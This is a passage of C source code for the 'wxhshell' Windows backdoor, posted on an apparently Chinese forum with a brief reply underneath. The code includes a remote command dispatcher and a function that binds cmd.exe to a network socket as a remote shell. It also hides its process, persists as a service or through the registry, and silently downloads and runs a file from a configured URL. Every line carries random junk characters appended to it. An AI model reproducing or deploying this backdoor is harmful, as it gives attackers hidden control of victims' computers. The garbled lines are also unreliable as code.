  if(DownloadFile(cmd,wsh)) v4zd x)  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5,c`  
  else "|G,P-5G"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^]DWrmy  
  } "QF083$  
  else { ,pASjFWi  
piG1&*  
    switch(cmd[0]) { h[8y$.YsC  
  c~'kW`sNV  
  // 帮助 []]3"n  
  case '?': { %pp+V1FH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); =z3jFaZ  
    break; Fq9[:  
  } gCJ'wv)6|%  
  // 安装 ,![=_d  
  case 'i': { mCGcM^21-x  
    if(Install()) uf^:3{1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0|ps),  
    else V3oAZ34)  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dvD<>{U,8  
    break; :65HMWy.  
    } (6BCFl:/Q<  
  // 卸载 *e6|SZ &3  
  case 'r': { ger<JSL%  
    if(Uninstall()) 1pb;A;F,A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =vc5,  
    else '/H(,TM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AVr!e   
    break; jVINc=o  
    } K*Jtyy}r  
  // 显示 wxhshell 所在路径 X4$e2f  
  case 'p': { n{t',r50  
    char svExeFile[MAX_PATH]; %&Cl@6  
    strcpy(svExeFile,"\n\r"); QVW6SY  
      strcat(svExeFile,ExeFile); jEsTw_  
        send(wsh,svExeFile,strlen(svExeFile),0); MQ*#oVqv  
    break; D H !Br  
    } m=MT`-:  
  // 重启 BB.TrQM.#  
  case 'b': { a+/|O*>#  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X6.O ;  
    if(Boot(REBOOT)) :xPvEK[B7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TyWy5J< :+  
    else { ]uvbQ.l_t  
    closesocket(wsh); >t2b?(h/x  
    ExitThread(0); }BJ1#<  
    } 5Mr;6 ]I<  
    break; {_Qxe1^g  
    } / D ]B  
  // 关机 2]9<%-=S  
  case 'd': { ikhX5 &e  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ku;nVV  
    if(Boot(SHUTDOWN)) l,u{:JC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@:=}*E  
    else {  ^qqHq  
    closesocket(wsh); ?Q)Z..7  
    ExitThread(0); q=Yerp3~  
    } AfN   
    break; f^4*.~cB  
    } d5y2Y/QO  
  // 获取shell ~Ls I<z  
  case 's': { 6wB>-/'Y  
    CmdShell(wsh); O{#Cddt:r  
    closesocket(wsh); [\9(@Bx  
    ExitThread(0); k6L373e#Q  
    break; <88}+j  
  } %_MR.J+m2  
  // 退出 +~Lzsh"  
  case 'x': { (eG]Cp@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +g6j =%  
    CloseIt(wsh); ^Cn]+0G#C8  
    break; o:D BOpS  
    } }8M`2HMFR  
  // 离开 kQd[E-b7  
  case 'q': { S1juAV=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0 a6@HwO  
    closesocket(wsh); 0^.4eX:E_  
    WSACleanup(); ~_db<!a  
    exit(1); P .4b+9T x  
    break; L*01l"5  
        } l;}7A,u  
  } ,beR:60)  
  } jfPJ5]Z  
bNjaCK<  
  // 提示信息 fC GDL6E  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J5p!-N`NS  
} ,35: Srf|  
  } mUyv+n,  
$v<hW A]>  
  return; }t D!xI;  
} 8N* -2/P&  
5rA!VES T  
// shell模块句柄 wu!_BCIy  
int CmdShell(SOCKET sock) *<1x:PR  
{ `V):V4!j),  
STARTUPINFO si; uxMy 1oy  
ZeroMemory(&si,sizeof(si)); <Mn7`i  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a]Da`$T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; uM)9b*Vbo  
PROCESS_INFORMATION ProcessInfo; n+\Cw`'<H  
char cmdline[]="cmd"; 1X"H6j[w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^ $+f3Z'  
  return 0; |@L &yg,x  
} *_/eAi/WG  
@EP{VV  
// 自身启动模式 .cT$h?+jyl  
int StartFromService(void) *CY6 a  
{ CDwIq>0j  
typedef struct aQ&8fteFR  
{ lDPRn~[#\  
  DWORD ExitStatus; hW !@$Ph  
  DWORD PebBaseAddress; 2}`Vc{\  
  DWORD AffinityMask; B,vHn2W  
  DWORD BasePriority; zNr_W[  
  ULONG UniqueProcessId; <aSLm=  
  ULONG InheritedFromUniqueProcessId; _h=< _Z  
}   PROCESS_BASIC_INFORMATION; AV[PQI  
JIbzh?$aD  
PROCNTQSIP NtQueryInformationProcess; XJlDiBs9=Q  
YNgR1 :l  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9CK\tx&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3@TG.)N4  
C*y6~AYN#  
  HANDLE             hProcess; r< ?o}Qq  
  PROCESS_BASIC_INFORMATION pbi; O{ %A&Ui  
0]eh>ab>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !OoaE* s  
  if(NULL == hInst ) return 0; me[J\MJ;w^  
?V5Pt s  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ksOANLRN  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (ln  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (m3I#L  
:S99}pgY  
  if (!NtQueryInformationProcess) return 0; 7Ysy\gZ&wp  
"Yfr"1RmO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AYPf)K;%  
  if(!hProcess) return 0; BV }(djx  
x)#<.DX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; <7FP"YU  
$;)noYo  
  CloseHandle(hProcess); i^sDh>$J  
Q9eYF-+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m['v3m:  
if(hProcess==NULL) return 0; 01-\:[{  
q(&^9"  
HMODULE hMod; _]=TFz2O  
char procName[255]; cEdz;kbUM  
unsigned long cbNeeded; *<.WL"Qhl  
Yn$>QS 4  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); SD|4ybK>d  
."F'5eTT~  
  CloseHandle(hProcess); >d27[%  
_!C)r*0(  
if(strstr(procName,"services")) return 1; // 以服务启动 vA2,&%jw  
$ gr6  
  return 0; // 注册表启动 0XR;5kd%  
} W p7@  
qrM{b=  
// 主模块 Ft"&NtXeZZ  
int StartWxhshell(LPSTR lpCmdLine) h$aew63  
{ TRySl5jx@  
  SOCKET wsl; nv_m!JG7  
BOOL val=TRUE; gf3u0' $  
  int port=0; G&%nF4  
  struct sockaddr_in door; "u Of~e"  
j:v~MrQ7|  
  if(wscfg.ws_autoins) Install(); BYr_Lz|T  
B{OW}D$P#  
port=atoi(lpCmdLine); Jv 6nlK`  
x^M5D+o  
if(port<=0) port=wscfg.ws_port; EU^}NZW&v:  
>Bh)7>`3c  
  WSADATA data; X ]pR,\B  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; IFC%%I t5,  
^(dGO)/  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   NK  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ]ZR{D7.?  
  door.sin_family = AF_INET; Nl=m'4 @`  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Pp1zW3+Q  
  door.sin_port = htons(port); HO%E-5b9  
&jXca|wAR  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SZim>@R  
closesocket(wsl); r3+<r<gs  
return 1; *} *!+C3  
} T@K7DkP@  
^f^-.X  
  if(listen(wsl,2) == INVALID_SOCKET) { vHs>ba$"  
closesocket(wsl); X[GIOPDx  
return 1; L\/u}]dPQ  
} {\vI9cni|"  
  Wxhshell(wsl); qy7hkq.uX  
  WSACleanup(); _L&n&y1+%  
XPHQAo[(s  
return 0; 90  
S+.21,  
} 7.wR"1p#  
fnVW/23  
// 以NT服务方式启动 Ez06:]Jd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4)3g!o ?  
{ WW@JVZxK  
DWORD   status = 0; 3+CSQb8  
  DWORD   specificError = 0xfffffff; kJ%{ [1fr  
gIV3n#-{L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; MZCL:#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $Nj'OJSj%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,|e}Y [  
  serviceStatus.dwWin32ExitCode     = 0; >|l;*Kw,/P  
  serviceStatus.dwServiceSpecificExitCode = 0; @MNl*~'$.[  
  serviceStatus.dwCheckPoint       = 0; ]*bAF^8i  
  serviceStatus.dwWaitHint       = 0; Ak xH  
[Xxw]C6\>(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7MKD_`g  
  if (hServiceStatusHandle==0) return; UJ7'JBT=k  
B1|?RfCe  
status = GetLastError();  5Waw?1GL  
  if (status!=NO_ERROR) JaH* rDs-  
{ U8 Z~Y}29  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; whV&qe;sw  
    serviceStatus.dwCheckPoint       = 0; E"Zb};}  
    serviceStatus.dwWaitHint       = 0; M%7`8KQ  
    serviceStatus.dwWin32ExitCode     = status; t{+ M|Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; RxlszyE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); * eA{[  
    return; KjO-0VMN3  
  } n"(7dl?  
VT'0DQ!NIq  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &foD&  
  serviceStatus.dwCheckPoint       = 0; bBA$}bv  
  serviceStatus.dwWaitHint       = 0; 5i^`vmK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); uQ{=o]sy  
} EC<5M5Lc  
-<8B,  
// 处理NT服务事件,比如:启动、停止 ||R0U@F,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) yPSVwe|g  
{ \^Ep>Pq`]  
switch(fdwControl) <#zwKTmK1  
{ $"/UK3|d  
case SERVICE_CONTROL_STOP: dAL0.>|`0  
  serviceStatus.dwWin32ExitCode = 0; aD+0\I[x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k}X[u8A  
  serviceStatus.dwCheckPoint   = 0; cvhlRI%6  
  serviceStatus.dwWaitHint     = 0; o1e4.-xI  
  { p=2zS.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M|ms$1x  
  } nHnk#SAA u  
  return; Y=9qJ`q  
case SERVICE_CONTROL_PAUSE: S)+CTVVE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; o\&~CW~@~  
  break; q1STRYb   
case SERVICE_CONTROL_CONTINUE: Og=[4?Kpk  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y">fN0{<  
  break; 9MT? .q  
case SERVICE_CONTROL_INTERROGATE: F#B5sLNb  
  break; <3lUV7!  
}; ?<! nm&~  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  O)OUy  
}  QGXQ{  
.?B{GnB>  
// 标准应用程序主函数 TiQ^}5~M  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Vd21,~^>g  
{ MO-!TZ+6  
IJ0#iA. T  
// 获取操作系统版本 ujx@@N  
OsIsNt=GetOsVer(); ka#K [qI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); V'j@K!)~xR  
Vg{Zv4+t  
  // 从命令行安装 "?P[9x}  
  if(strpbrk(lpCmdLine,"iI")) Install(); n08; <  
M'DWu|dIBA  
  // 下载执行文件  #I;D  
if(wscfg.ws_downexe) { f|#8qiUS  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gJh}CrU-  
  WinExec(wscfg.ws_filenam,SW_HIDE); {c@G$  
} b~*i91)\  
(')(d HHW  
if(!OsIsNt) { /=T H08  
// 如果时win9x,隐藏进程并且设置为注册表启动 -TTs.O8P|<  
HideProc(); mB`D}g$  
StartWxhshell(lpCmdLine); 3b@VY'P  
} ] IS;\~  
else 5,R`@&K3D  
  if(StartFromService()) O#:&*Mv  
  // 以服务方式启动 ' S,2  
  StartServiceCtrlDispatcher(DispatchTable); +I@cO&CY|  
else (ii( yz|  
  // 普通方式启动 qp&4 1  
  StartWxhshell(lpCmdLine); @\jQoaLT$_  
M|8 3HTJ  
return 0; ZdH1nX(Yh3  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五